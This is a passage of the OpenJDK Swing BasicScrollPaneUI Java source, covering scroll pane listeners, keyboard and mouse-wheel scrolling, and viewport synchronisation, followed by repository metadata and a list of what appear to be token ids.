spPropertyChangeListener = createPropertyChangeListener();
JViewport viewport = scrollpane.getViewport();
JScrollBar vsb = scrollpane.getVerticalScrollBar();
JScrollBar hsb = scrollpane.getHorizontalScrollBar();
if (viewport != null) {
viewport.addChangeListener(viewportChangeListener);
}
if (vsb != null) {
vsb.getModel().addChangeListener(vsbChangeListener);
vsb.addPropertyChangeListener(vsbPropertyChangeListener);
}
if (hsb != null) {
hsb.getModel().addChangeListener(hsbChangeListener);
hsb.addPropertyChangeListener(hsbPropertyChangeListener);
}
scrollpane.addPropertyChangeListener(spPropertyChangeListener);
mouseScrollListener = createMouseWheelListener();
scrollpane.addMouseWheelListener(mouseScrollListener);
}
/**
* Registers keyboard actions.
*
* @param c an instance of {@code JScrollPane}
*/
protected void installKeyboardActions(JScrollPane c) {
InputMap inputMap = getInputMap(JComponent.
WHEN_ANCESTOR_OF_FOCUSED_COMPONENT);
SwingUtilities.replaceUIInputMap(c, JComponent.
WHEN_ANCESTOR_OF_FOCUSED_COMPONENT, inputMap);
LazyActionMap.installLazyActionMap(c, BasicScrollPaneUI.class,
"ScrollPane.actionMap");
}
InputMap getInputMap(int condition) {
if (condition == JComponent.WHEN_ANCESTOR_OF_FOCUSED_COMPONENT) {
InputMap keyMap = (InputMap)DefaultLookup.get(scrollpane, this,
"ScrollPane.ancestorInputMap");
InputMap rtlKeyMap;
if (scrollpane.getComponentOrientation().isLeftToRight() ||
((rtlKeyMap = (InputMap)DefaultLookup.get(scrollpane, this,
"ScrollPane.ancestorInputMap.RightToLeft")) == null)) {
return keyMap;
} else {
rtlKeyMap.setParent(keyMap);
return rtlKeyMap;
}
}
return null;
}
public void installUI(JComponent x) {
scrollpane = (JScrollPane)x;
installDefaults(scrollpane);
installListeners(scrollpane);
installKeyboardActions(scrollpane);
}
/**
* Uninstalls default properties.
*
* @param c an instance of {@code JScrollPane}
*/
protected void uninstallDefaults(JScrollPane c) {
LookAndFeel.uninstallBorder(scrollpane);
if (scrollpane.getViewportBorder() instanceof UIResource) {
scrollpane.setViewportBorder(null);
}
}
/**
* Unregisters listeners.
*
* @param c a component
*/
protected void uninstallListeners(JComponent c) {
JViewport viewport = scrollpane.getViewport();
JScrollBar vsb = scrollpane.getVerticalScrollBar();
JScrollBar hsb = scrollpane.getHorizontalScrollBar();
if (viewport != null) {
viewport.removeChangeListener(viewportChangeListener);
}
if (vsb != null) {
vsb.getModel().removeChangeListener(vsbChangeListener);
vsb.removePropertyChangeListener(vsbPropertyChangeListener);
}
if (hsb != null) {
hsb.getModel().removeChangeListener(hsbChangeListener);
hsb.removePropertyChangeListener(hsbPropertyChangeListener);
}
scrollpane.removePropertyChangeListener(spPropertyChangeListener);
if (mouseScrollListener != null) {
scrollpane.removeMouseWheelListener(mouseScrollListener);
}
vsbChangeListener = null;
hsbChangeListener = null;
viewportChangeListener = null;
spPropertyChangeListener = null;
mouseScrollListener = null;
handler = null;
}
/**
* Unregisters keyboard actions.
*
* @param c an instance of {@code JScrollPane}
*/
protected void uninstallKeyboardActions(JScrollPane c) {
SwingUtilities.replaceUIActionMap(c, null);
SwingUtilities.replaceUIInputMap(c, JComponent.
WHEN_ANCESTOR_OF_FOCUSED_COMPONENT, null);
}
public void uninstallUI(JComponent c) {
uninstallDefaults(scrollpane);
uninstallListeners(scrollpane);
uninstallKeyboardActions(scrollpane);
scrollpane = null;
}
private Handler getHandler() {
if (handler == null) {
handler = new Handler();
}
return handler;
}
/**
* Synchronizes the {@code JScrollPane} with {@code Viewport}.
*/
protected void syncScrollPaneWithViewport()
{
JViewport viewport = scrollpane.getViewport();
JScrollBar vsb = scrollpane.getVerticalScrollBar();
JScrollBar hsb = scrollpane.getHorizontalScrollBar();
JViewport rowHead = scrollpane.getRowHeader();
JViewport colHead = scrollpane.getColumnHeader();
boolean ltr = scrollpane.getComponentOrientation().isLeftToRight();
if (viewport != null) {
Dimension extentSize = viewport.getExtentSize();
Dimension viewSize = viewport.getViewSize();
Point viewPosition = viewport.getViewPosition();
if (vsb != null) {
int extent = extentSize.height;
int max = viewSize.height;
int value = Math.max(0, Math.min(viewPosition.y, max - extent));
vsb.setValues(value, extent, 0, max);
}
if (hsb != null) {
int extent = extentSize.width;
int max = viewSize.width;
int value;
if (ltr) {
value = Math.max(0, Math.min(viewPosition.x, max - extent));
} else {
int currentValue = hsb.getValue();
/* Use a particular formula to calculate "value"
* until effective x coordinate is calculated.
*/
if (setValueCalled && ((max - currentValue) == viewPosition.x)) {
value = Math.max(0, Math.min(max - extent, currentValue));
/* After "extent" is set, turn setValueCalled flag off.
*/
if (extent != 0) {
setValueCalled = false;
}
} else {
if (extent > max) {
viewPosition.x = max - extent;
viewport.setViewPosition(viewPosition);
value = 0;
} else {
/* The following line can't handle a small value of
* viewPosition.x like Integer.MIN_VALUE correctly
* because (max - extent - viewPositoiin.x) causes
* an overflow. As a result, value becomes zero.
* (e.g. setViewPosition(Integer.MAX_VALUE, ...)
* in a user program causes a overflow.
* Its expected value is (max - extent).)
* However, this seems a trivial bug and adding a
* fix makes this often-called method slow, so I'll
* leave it until someone claims.
*/
value = Math.max(0, Math.min(max - extent, max - extent - viewPosition.x));
if (oldExtent > extent) {
value -= oldExtent - extent;
}
}
}
}
oldExtent = extent;
hsb.setValues(value, extent, 0, max);
}
if (rowHead != null) {
Point p = rowHead.getViewPosition();
p.y = viewport.getViewPosition().y;
p.x = 0;
rowHead.setViewPosition(p);
}
if (colHead != null) {
Point p = colHead.getViewPosition();
if (ltr) {
p.x = viewport.getViewPosition().x;
} else {
p.x = Math.max(0, viewport.getViewPosition().x);
}
p.y = 0;
colHead.setViewPosition(p);
}
}
}
/**
* Returns the baseline.
*
* @throws NullPointerException {@inheritDoc}
* @throws IllegalArgumentException {@inheritDoc}
* @see javax.swing.JComponent#getBaseline(int, int)
* @since 1.6
*/
public int getBaseline(JComponent c, int width, int height) {
if (c == null) {
throw new NullPointerException("Component must be non-null");
}
if (width < 0 || height < 0) {
throw new IllegalArgumentException("Width and height must be >= 0");
}
JViewport viewport = scrollpane.getViewport();
Insets spInsets = scrollpane.getInsets();
int y = spInsets.top;
height = height - spInsets.top - spInsets.bottom;
width = width - spInsets.left - spInsets.right;
JViewport columnHeader = scrollpane.getColumnHeader();
if (columnHeader != null && columnHeader.isVisible()) {
Component header = columnHeader.getView();
if (header != null && header.isVisible()) {
// Header is always given it's preferred size.
Dimension headerPref = header.getPreferredSize();
int baseline = header.getBaseline(headerPref.width,
headerPref.height);
if (baseline >= 0) {
return y + baseline;
}
}
Dimension columnPref = columnHeader.getPreferredSize();
height -= columnPref.height;
y += columnPref.height;
}
Component view = (viewport == null) ? null : viewport.getView();
if (view != null && view.isVisible() &&
view.getBaselineResizeBehavior() ==
Component.BaselineResizeBehavior.CONSTANT_ASCENT) {
Border viewportBorder = scrollpane.getViewportBorder();
if (viewportBorder != null) {
Insets vpbInsets = viewportBorder.getBorderInsets(scrollpane);
y += vpbInsets.top;
height = height - vpbInsets.top - vpbInsets.bottom;
width = width - vpbInsets.left - vpbInsets.right;
}
if (view.getWidth() > 0 && view.getHeight() > 0) {
Dimension min = view.getMinimumSize();
width = Math.max(min.width, view.getWidth());
height = Math.max(min.height, view.getHeight());
}
if (width > 0 && height > 0) {
int baseline = view.getBaseline(width, height);
if (baseline > 0) {
return y + baseline;
}
}
}
return -1;
}
/**
* Returns an enum indicating how the baseline of the component
* changes as the size changes.
*
* @throws NullPointerException {@inheritDoc}
* @see javax.swing.JComponent#getBaseline(int, int)
* @since 1.6
*/
public Component.BaselineResizeBehavior getBaselineResizeBehavior(
JComponent c) {
super.getBaselineResizeBehavior(c);
// Baseline is either from the header, in which case it's always
// the same size and therefor can be created as CONSTANT_ASCENT.
// If the header doesn't have a baseline than the baseline will only
// be valid if it's BaselineResizeBehavior is
// CONSTANT_ASCENT, so, return CONSTANT_ASCENT.
return Component.BaselineResizeBehavior.CONSTANT_ASCENT;
}
/**
* Listener for viewport events.
* This class exists only for backward compatibility.
* All its functionality has been moved into Handler.
* @deprecated
*/
@Deprecated(since = "17", forRemoval = true)
public class ViewportChangeHandler implements ChangeListener
{
/**
* Constructs a {@code ViewportChangeHandler}.
*/
public ViewportChangeHandler() {}
// NOTE: This class exists only for backward compatibility. All
// its functionality has been moved into Handler. If you need to add
// new functionality add it to the Handler, but make sure this
// class calls into the Handler.
public void stateChanged(ChangeEvent e) {
getHandler().stateChanged(e);
}
}
/**
* Returns an instance of viewport {@code ChangeListener}.
*
* @return an instance of viewport {@code ChangeListener}
*/
protected ChangeListener createViewportChangeListener() {
return getHandler();
}
/**
* Horizontal scrollbar listener.
* This class exists only for backward compatibility.
* All its functionality has been moved into Handler.
* @deprecated
*/
@Deprecated(since = "17", forRemoval = true)
public class HSBChangeListener implements ChangeListener
{
/**
* Constructs a {@code HSBChangeListener}.
*/
public HSBChangeListener() {}
// NOTE: This class exists only for backward compatibility. All
// its functionality has been moved into Handler. If you need to add
// new functionality add it to the Handler, but make sure this
// class calls into the Handler.
public void stateChanged(ChangeEvent e)
{
getHandler().stateChanged(e);
}
}
/**
* Returns a <code>PropertyChangeListener</code> that will be installed
* on the horizontal <code>JScrollBar</code>.
*/
private PropertyChangeListener createHSBPropertyChangeListener() {
return getHandler();
}
/**
* Returns an instance of horizontal scroll bar {@code ChangeListener}.
*
* @return an instance of horizontal scroll bar {@code ChangeListener}
*/
protected ChangeListener createHSBChangeListener() {
return getHandler();
}
/**
* Vertical scrollbar listener.
* This class exists only for backward compatibility.
* All its functionality has been moved into Handler.
* @deprecated
*/
@Deprecated(since = "17", forRemoval = true)
public class VSBChangeListener implements ChangeListener
{
/**
* Constructs a {@code VSBChangeListener}.
*/
public VSBChangeListener() {}
// NOTE: This class exists only for backward compatibility. All
// its functionality has been moved into Handler. If you need to add
// new functionality add it to the Handler, but make sure this
// class calls into the Handler.
public void stateChanged(ChangeEvent e)
{
getHandler().stateChanged(e);
}
}
/**
* Returns a <code>PropertyChangeListener</code> that will be installed
* on the vertical <code>JScrollBar</code>.
*/
private PropertyChangeListener createVSBPropertyChangeListener() {
return getHandler();
}
/**
* Returns an instance of vertical scroll bar {@code ChangeListener}.
*
* @return an instance of vertical scroll bar {@code ChangeListener}
*/
protected ChangeListener createVSBChangeListener() {
return getHandler();
}
/**
* MouseWheelHandler is an inner class which implements the
* MouseWheelListener interface. MouseWheelHandler responds to
* MouseWheelEvents by scrolling the JScrollPane appropriately.
* If the scroll pane's
* <code>isWheelScrollingEnabled</code>
* method returns false, no scrolling occurs.
*
* @see javax.swing.JScrollPane#isWheelScrollingEnabled
* @see #createMouseWheelListener
* @see java.awt.event.MouseWheelListener
* @see java.awt.event.MouseWheelEvent
* @since 1.4
*/
protected class MouseWheelHandler implements MouseWheelListener {
// NOTE: This class exists only for backward compatibility. All
// its functionality has been moved into Handler. If you need to add
// new functionality add it to the Handler, but make sure this
// class calls into the Handler.
/**
* Constructs a {@code MouseWheelHandler}.
*/
protected MouseWheelHandler() {}
/**
* Called when the mouse wheel is rotated while over a
* JScrollPane.
*
* @param e MouseWheelEvent to be handled
* @since 1.4
*/
public void mouseWheelMoved(MouseWheelEvent e) {
getHandler().mouseWheelMoved(e);
}
}
/**
* Creates an instance of MouseWheelListener, which is added to the
* JScrollPane by installUI(). The returned MouseWheelListener is used
* to handle mouse wheel-driven scrolling.
*
* @return MouseWheelListener which implements wheel-driven scrolling
* @see #installUI
* @see MouseWheelHandler
* @since 1.4
*/
protected MouseWheelListener createMouseWheelListener() {
return getHandler();
}
/**
* Updates a scroll bar display policy.
*
* @param e the property change event
*/
protected void updateScrollBarDisplayPolicy(PropertyChangeEvent e) {
scrollpane.revalidate();
scrollpane.repaint();
}
/**
* Updates viewport.
*
* @param e the property change event
*/
protected void updateViewport(PropertyChangeEvent e)
{
JViewport oldViewport = (JViewport)(e.getOldValue());
JViewport newViewport = (JViewport)(e.getNewValue());
if (oldViewport != null) {
oldViewport.removeChangeListener(viewportChangeListener);
}
if (newViewport != null) {
Point p = newViewport.getViewPosition();
if (scrollpane.getComponentOrientation().isLeftToRight()) {
p.x = Math.max(p.x, 0);
} else {
int max = newViewport.getViewSize().width;
int extent = newViewport.getExtentSize().width;
if (extent > max) {
p.x = max - extent;
} else {
p.x = Math.max(0, Math.min(max - extent, p.x));
}
}
p.y = Math.max(p.y, 0);
newViewport.setViewPosition(p);
newViewport.addChangeListener(viewportChangeListener);
}
}
/**
* Updates row header.
*
* @param e the property change event
*/
protected void updateRowHeader(PropertyChangeEvent e)
{
JViewport newRowHead = (JViewport)(e.getNewValue());
if (newRowHead != null) {
JViewport viewport = scrollpane.getViewport();
Point p = newRowHead.getViewPosition();
p.y = (viewport != null) ? viewport.getViewPosition().y : 0;
newRowHead.setViewPosition(p);
}
}
/**
* Updates column header.
*
* @param e the property change event
*/
protected void updateColumnHeader(PropertyChangeEvent e)
{
JViewport newColHead = (JViewport)(e.getNewValue());
if (newColHead != null) {
JViewport viewport = scrollpane.getViewport();
Point p = newColHead.getViewPosition();
if (viewport == null) {
p.x = 0;
} else {
if (scrollpane.getComponentOrientation().isLeftToRight()) {
p.x = viewport.getViewPosition().x;
} else {
p.x = Math.max(0, viewport.getViewPosition().x);
}
}
newColHead.setViewPosition(p);
scrollpane.add(newColHead, COLUMN_HEADER);
}
}
private void updateHorizontalScrollBar(PropertyChangeEvent pce) {
updateScrollBar(pce, hsbChangeListener, hsbPropertyChangeListener);
}
private void updateVerticalScrollBar(PropertyChangeEvent pce) {
updateScrollBar(pce, vsbChangeListener, vsbPropertyChangeListener);
}
private void updateScrollBar(PropertyChangeEvent pce, ChangeListener cl,
PropertyChangeListener pcl) {
JScrollBar sb = (JScrollBar)pce.getOldValue();
if (sb != null) {
if (cl != null) {
sb.getModel().removeChangeListener(cl);
}
if (pcl != null) {
sb.removePropertyChangeListener(pcl);
}
}
sb = (JScrollBar)pce.getNewValue();
if (sb != null) {
if (cl != null) {
sb.getModel().addChangeListener(cl);
}
if (pcl != null) {
sb.addPropertyChangeListener(pcl);
}
}
}
/**
* Property change handler.
* This class exists only for backward compatibility.
* All its functionality has been moved into Handler.
* @deprecated
*/
@Deprecated(since = "17", forRemoval = true)
public class PropertyChangeHandler implements PropertyChangeListener
{
/**
* Constructs a {@code PropertyChangeHandler}.
*/
public PropertyChangeHandler() {}
// NOTE: This class exists only for backward compatibility. All
// its functionality has been moved into Handler. If you need to add
// new functionality add it to the Handler, but make sure this
// class calls into the Handler.
/**
* {@inheritDoc}
*/
public void propertyChange(PropertyChangeEvent e)
{
getHandler().propertyChange(e);
}
}
/**
* Creates an instance of {@code PropertyChangeListener} that's added to
* the {@code JScrollPane} by {@code installUI()}. Subclasses can override
* this method to return a custom {@code PropertyChangeListener}, e.g.
* <pre>
* class MyScrollPaneUI extends BasicScrollPaneUI {
* protected PropertyChangeListener <b>createPropertyChangeListener</b>() {
* return new MyPropertyChangeListener();
* }
* public class MyPropertyChangeListener extends PropertyChangeListener {
* public void propertyChange(PropertyChangeEvent e) {
* if (e.getPropertyName().equals("viewport")) {
* // do some extra work when the viewport changes
* }
* super.propertyChange(e);
* }
* }
* }
* </pre>
*
* @return an instance of {@code PropertyChangeListener}
*
* @see java.beans.PropertyChangeListener
* @see #installUI
*/
protected PropertyChangeListener createPropertyChangeListener() {
return getHandler();
}
private static class Actions extends UIAction {
private static final String SCROLL_UP = "scrollUp";
private static final String SCROLL_DOWN = "scrollDown";
private static final String SCROLL_HOME = "scrollHome";
private static final String SCROLL_END = "scrollEnd";
private static final String UNIT_SCROLL_UP = "unitScrollUp";
private static final String UNIT_SCROLL_DOWN = "unitScrollDown";
private static final String SCROLL_LEFT = "scrollLeft";
private static final String SCROLL_RIGHT = "scrollRight";
private static final String UNIT_SCROLL_LEFT = "unitScrollLeft";
private static final String UNIT_SCROLL_RIGHT = "unitScrollRight";
Actions(String key) {
super(key);
}
public void actionPerformed(ActionEvent e) {
JScrollPane scrollPane = (JScrollPane)e.getSource();
boolean ltr = scrollPane.getComponentOrientation().isLeftToRight();
String key = getName();
if (key == SCROLL_UP) {
scroll(scrollPane, SwingConstants.VERTICAL, -1, true);
}
else if (key == SCROLL_DOWN) {
scroll(scrollPane, SwingConstants.VERTICAL, 1, true);
}
else if (key == SCROLL_HOME) {
scrollHome(scrollPane);
}
else if (key == SCROLL_END) {
scrollEnd(scrollPane);
}
else if (key == UNIT_SCROLL_UP) {
scroll(scrollPane, SwingConstants.VERTICAL, -1, false);
}
else if (key == UNIT_SCROLL_DOWN) {
scroll(scrollPane, SwingConstants.VERTICAL, 1, false);
}
else if (key == SCROLL_LEFT) {
scroll(scrollPane, SwingConstants.HORIZONTAL, ltr ? -1 : 1,
true);
}
else if (key == SCROLL_RIGHT) {
scroll(scrollPane, SwingConstants.HORIZONTAL, ltr ? 1 : -1,
true);
}
else if (key == UNIT_SCROLL_LEFT) {
scroll(scrollPane, SwingConstants.HORIZONTAL, ltr ? -1 : 1,
false);
}
else if (key == UNIT_SCROLL_RIGHT) {
scroll(scrollPane, SwingConstants.HORIZONTAL, ltr ? 1 : -1,
false);
}
}
private void scrollEnd(JScrollPane scrollpane) {
JViewport vp = scrollpane.getViewport();
Component view;
if (vp != null && (view = vp.getView()) != null) {
Rectangle visRect = vp.getViewRect();
Rectangle bounds = view.getBounds();
if (scrollpane.getComponentOrientation().isLeftToRight()) {
vp.setViewPosition(new Point(bounds.width - visRect.width,
bounds.height - visRect.height));
} else {
vp.setViewPosition(new Point(0,
bounds.height - visRect.height));
}
}
}
private void scrollHome(JScrollPane scrollpane) {
JViewport vp = scrollpane.getViewport();
Component view;
if (vp != null && (view = vp.getView()) != null) {
if (scrollpane.getComponentOrientation().isLeftToRight()) {
vp.setViewPosition(new Point(0, 0));
} else {
Rectangle visRect = vp.getViewRect();
Rectangle bounds = view.getBounds();
vp.setViewPosition(new Point(bounds.width - visRect.width, 0));
}
}
}
private void scroll(JScrollPane scrollpane, int orientation,
int direction, boolean block) {
JViewport vp = scrollpane.getViewport();
Component view;
if (vp != null && (view = vp.getView()) != null) {
Rectangle visRect = vp.getViewRect();
Dimension vSize = view.getSize();
int amount;
if (view instanceof Scrollable) {
if (block) {
amount = ((Scrollable)view).getScrollableBlockIncrement
(visRect, orientation, direction);
}
else {
amount = ((Scrollable)view).getScrollableUnitIncrement
(visRect, orientation, direction);
}
}
else {
if (block) {
if (orientation == SwingConstants.VERTICAL) {
amount = visRect.height;
}
else {
amount = visRect.width;
}
}
else {
amount = 10;
}
}
if (orientation == SwingConstants.VERTICAL) {
visRect.y += (amount * direction);
if ((visRect.y + visRect.height) > vSize.height) {
visRect.y = Math.max(0, vSize.height - visRect.height);
}
else if (visRect.y < 0) {
visRect.y = 0;
}
}
else {
if (scrollpane.getComponentOrientation().isLeftToRight()) {
visRect.x += (amount * direction);
if ((visRect.x + visRect.width) > vSize.width) {
visRect.x = Math.max(0, vSize.width - visRect.width);
} else if (visRect.x < 0) {
visRect.x = 0;
}
} else {
visRect.x -= (amount * direction);
if (visRect.width > vSize.width) {
visRect.x = vSize.width - visRect.width;
} else {
visRect.x = Math.max(0, Math.min(vSize.width - visRect.width, visRect.x));
}
}
}
vp.setViewPosition(visRect.getLocation());
}
}
}
class Handler implements ChangeListener, PropertyChangeListener, MouseWheelListener {
//
// MouseWheelListener
//
public void mouseWheelMoved(MouseWheelEvent e) {
if (scrollpane.isWheelScrollingEnabled() &&
e.getWheelRotation() != 0) {
JScrollBar toScroll = scrollpane.getVerticalScrollBar();
int direction = e.getWheelRotation() < 0 ? -1 : 1;
int orientation = SwingConstants.VERTICAL;
// find which scrollbar to scroll, or return if none
if (toScroll == null || !toScroll.isVisible()
|| e.isShiftDown()) {
JScrollBar hScroll = scrollpane.getHorizontalScrollBar();
if (hScroll == null) {
return;
} else if (hScroll.isVisible()) {
toScroll = hScroll;
orientation = SwingConstants.HORIZONTAL;
} else if (!hScroll.isVisible()) {
if (e.isShiftDown()) {
return;
}
orientation = SwingConstants.VERTICAL;
}
}
e.consume();
if (e.getScrollType() == MouseWheelEvent.WHEEL_UNIT_SCROLL) {
JViewport vp = scrollpane.getViewport();
if (vp == null) { return; }
Component comp = vp.getView();
int units = Math.abs(e.getUnitsToScroll());
// When the scrolling speed is set to maximum, it's possible
// for a single wheel click to scroll by more units than
// will fit in the visible area. This makes it
// hard/impossible to get to certain parts of the scrolling
// Component with the wheel. To make for more accurate
// low-speed scrolling, we limit scrolling to the block
// increment if the wheel was only rotated one click.
boolean limitScroll = Math.abs(e.getWheelRotation()) == 1;
// Check if we should use the visibleRect trick
Object fastWheelScroll = toScroll.getClientProperty(
"JScrollBar.fastWheelScrolling");
if (Boolean.TRUE == fastWheelScroll &&
comp instanceof Scrollable) {
// 5078454: Under maximum acceleration, we may scroll
// by many 100s of units in ~1 second.
//
// BasicScrollBarUI.scrollByUnits() can bog down the EDT
// with repaints in this situation. However, the
// Scrollable interface allows us to pass in an
// arbitrary visibleRect. This allows us to accurately
// calculate the total scroll amount, and then update
// the GUI once. This technique provides much faster
// accelerated wheel scrolling.
Scrollable scrollComp = (Scrollable) comp;
Rectangle viewRect = vp.getViewRect();
int startingX = viewRect.x;
boolean leftToRight =
comp.getComponentOrientation().isLeftToRight();
int scrollMin = toScroll.getMinimum();
int scrollMax = toScroll.getMaximum() -
toScroll.getModel().getExtent();
if (limitScroll) {
int blockIncr =
scrollComp.getScrollableBlockIncrement(viewRect,
orientation,
direction);
if (direction < 0) {
scrollMin = Math.max(scrollMin,
toScroll.getValue() - blockIncr);
}
else {
scrollMax = Math.min(scrollMax,
toScroll.getValue() + blockIncr);
}
}
for (int i = 0; i < units; i++) {
int unitIncr =
scrollComp.getScrollableUnitIncrement(viewRect,
orientation, direction);
// Modify the visible rect for the next unit, and
// check to see if we're at the end already.
if (orientation == SwingConstants.VERTICAL) {
if (direction < 0) {
viewRect.y -= unitIncr;
if (viewRect.y <= scrollMin) {
viewRect.y = scrollMin;
break;
}
}
else { // (direction > 0
viewRect.y += unitIncr;
if (viewRect.y >= scrollMax) {
viewRect.y = scrollMax;
break;
}
}
}
else {
// Scroll left
if ((leftToRight && direction < 0) ||
(!leftToRight && direction > 0)) {
viewRect.x -= unitIncr;
if (leftToRight) {
if (viewRect.x < scrollMin) {
viewRect.x = scrollMin;
break;
}
}
}
// Scroll right
else if ((leftToRight && direction > 0) ||
(!leftToRight && direction < 0)) {
viewRect.x += unitIncr;
if (leftToRight) {
if (viewRect.x > scrollMax) {
viewRect.x = scrollMax;
break;
}
}
}
else {
assert false : "Non-sensical ComponentOrientation / scroll direction";
}
}
}
// Set the final view position on the ScrollBar
if (orientation == SwingConstants.VERTICAL) {
toScroll.setValue(viewRect.y);
}
else {
if (leftToRight) {
toScroll.setValue(viewRect.x);
}
else {
// rightToLeft scrollbars are oriented with
// minValue on the right and maxValue on the
// left.
int newPos = toScroll.getValue() -
(viewRect.x - startingX);
if (newPos < scrollMin) {
newPos = scrollMin;
}
else if (newPos > scrollMax) {
newPos = scrollMax;
}
toScroll.setValue(newPos);
}
}
}
else {
// Viewport's view is not a Scrollable, or fast wheel
// scrolling is not enabled.
BasicScrollBarUI.scrollByUnits(toScroll, direction,
units, limitScroll);
}
}
else if (e.getScrollType() ==
MouseWheelEvent.WHEEL_BLOCK_SCROLL) {
BasicScrollBarUI.scrollByBlock(toScroll, direction);
}
}
}
//
// ChangeListener: This is added to the vieport, and hsb/vsb models.
//
public void stateChanged(ChangeEvent e) {
JViewport viewport = scrollpane.getViewport();
if (viewport != null) {
if (e.getSource() == viewport) {
syncScrollPaneWithViewport();
}
else {
JScrollBar hsb = scrollpane.getHorizontalScrollBar();
if (hsb != null && e.getSource() == hsb.getModel()) {
hsbStateChanged(viewport, e);
}
else {
JScrollBar vsb = scrollpane.getVerticalScrollBar();
if (vsb != null && e.getSource() == vsb.getModel()) {
vsbStateChanged(viewport, e);
}
}
}
}
}
private void vsbStateChanged(JViewport viewport, ChangeEvent e) {
BoundedRangeModel model = (BoundedRangeModel)(e.getSource());
Point p = viewport.getViewPosition();
p.y = model.getValue();
viewport.setViewPosition(p);
}
private void hsbStateChanged(JViewport viewport, ChangeEvent e) {
BoundedRangeModel model = (BoundedRangeModel)(e.getSource());
Point p = viewport.getViewPosition();
int value = model.getValue();
if (scrollpane.getComponentOrientation().isLeftToRight()) {
p.x = value;
} else {
int max = viewport.getViewSize().width;
int extent = viewport.getExtentSize().width;
int oldX = p.x;
/* Set new X coordinate based on "value".
*/
p.x = max - extent - value;
/* If setValue() was called before "extent" was fixed,
* turn setValueCalled flag on.
*/
if ((extent == 0) && (value != 0) && (oldX == max)) {
setValueCalled = true;
} else {
/* When a pane without a horizontal scroll bar was
* reduced and the bar appeared, the viewport should
* show the right side of the view.
*/
if ((extent != 0) && (oldX < 0) && (p.x == 0)) {
p.x += value;
}
}
}
viewport.setViewPosition(p);
}
//
// PropertyChangeListener: This is installed on both the JScrollPane
// and the horizontal/vertical scrollbars.
//
// Listens for changes in the model property and reinstalls the
// horizontal/vertical PropertyChangeListeners.
public void propertyChange(PropertyChangeEvent e) {
if (e.getSource() == scrollpane) {
scrollPanePropertyChange(e);
}
else {
sbPropertyChange(e);
}
}
private void scrollPanePropertyChange(PropertyChangeEvent e) {
String propertyName = e.getPropertyName();
if (propertyName == "verticalScrollBarDisplayPolicy") {
updateScrollBarDisplayPolicy(e);
}
else if (propertyName == "horizontalScrollBarDisplayPolicy") {
updateScrollBarDisplayPolicy(e);
}
else if (propertyName == "viewport") {
updateViewport(e);
}
else if (propertyName == "rowHeader") {
updateRowHeader(e);
}
else if (propertyName == "columnHeader") {
updateColumnHeader(e);
}
else if (propertyName == "verticalScrollBar") {
updateVerticalScrollBar(e);
}
else if (propertyName == "horizontalScrollBar") {
updateHorizontalScrollBar(e);
}
else if (propertyName == "componentOrientation") {
scrollpane.revalidate();
scrollpane.repaint();
}
}
// PropertyChangeListener for the horizontal and vertical scrollbars.
private void sbPropertyChange(PropertyChangeEvent e) {
String propertyName = e.getPropertyName();
Object source = e.getSource();
if ("model" == propertyName) {
JScrollBar sb = scrollpane.getVerticalScrollBar();
BoundedRangeModel oldModel = (BoundedRangeModel)e.
getOldValue();
ChangeListener cl = null;
if (source == sb) {
cl = vsbChangeListener;
}
else if (source == scrollpane.getHorizontalScrollBar()) {
sb = scrollpane.getHorizontalScrollBar();
cl = hsbChangeListener;
}
if (cl != null) {
if (oldModel != null) {
oldModel.removeChangeListener(cl);
}
if (sb.getModel() != null) {
sb.getModel().addChangeListener(cl);
}
}
}
else if ("componentOrientation" == propertyName) {
if (source == scrollpane.getHorizontalScrollBar()) {
JScrollBar hsb = scrollpane.getHorizontalScrollBar();
JViewport viewport = scrollpane.getViewport();
Point p = viewport.getViewPosition();
if (scrollpane.getComponentOrientation().isLeftToRight()) {
p.x = hsb.getValue();
} else {
p.x = viewport.getViewSize().width - viewport.getExtentSize().width - hsb.getValue();
}
viewport.setViewPosition(p);
}
}
}
}
}
| 50,576
|
Java
|
.java
|
corretto/corretto-19
| 12
| 5
| 1
|
2022-08-09T18:56:37Z
|
2023-03-20T21:14:59Z
|
2f27ebc8e30d673f4f0ff936cd57f278d57f12edba62f39ab581935f299645f7
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
54,
62,
62,
60,
49,
244,
55,
53,
55,
54,
49,
17980,
480,
52,
290,
2840,
25094,
51,
3381,
4760,
5225,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
244,
17980,
6759,
1218,
477,
222,
338,
8445,
822,
641,
5405,
391,
341,
332,
44978,
39,
3773,
641,
3961,
222,
338,
829,
17980,
347,
341,
7621,
822,
708,
20854,
297,
4850,
477,
1361,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
17980,
49,
244,
58,
53,
53,
17980,
27004,
3094,
49,
4777,
21100,
2432,
6868,
49,
10562,
244,
62,
57,
53,
59,
58,
15067,
222,
338,
575,
7739,
19955,
51,
11116,
51,
527,
434,
863,
1868,
5408,
2490,
575,
1178,
1364,
222,
338,
10034,
51,
222,
588,
222,
222,
1337,
3698,
51,
5934,
51,
576,
1566,
51,
6404,
64,
222,
222,
485,
15315,
51,
5934,
51,
2061,
10138,
64,
222,
485,
15315,
51,
5934,
51,
2299,
1728,
64,
222,
222,
485,
3698,
51,
5934,
7737,
222,
485,
3698,
51,
5934,
51,
1585,
7737,
222,
485,
3698,
51,
5934,
51,
3489,
7737,
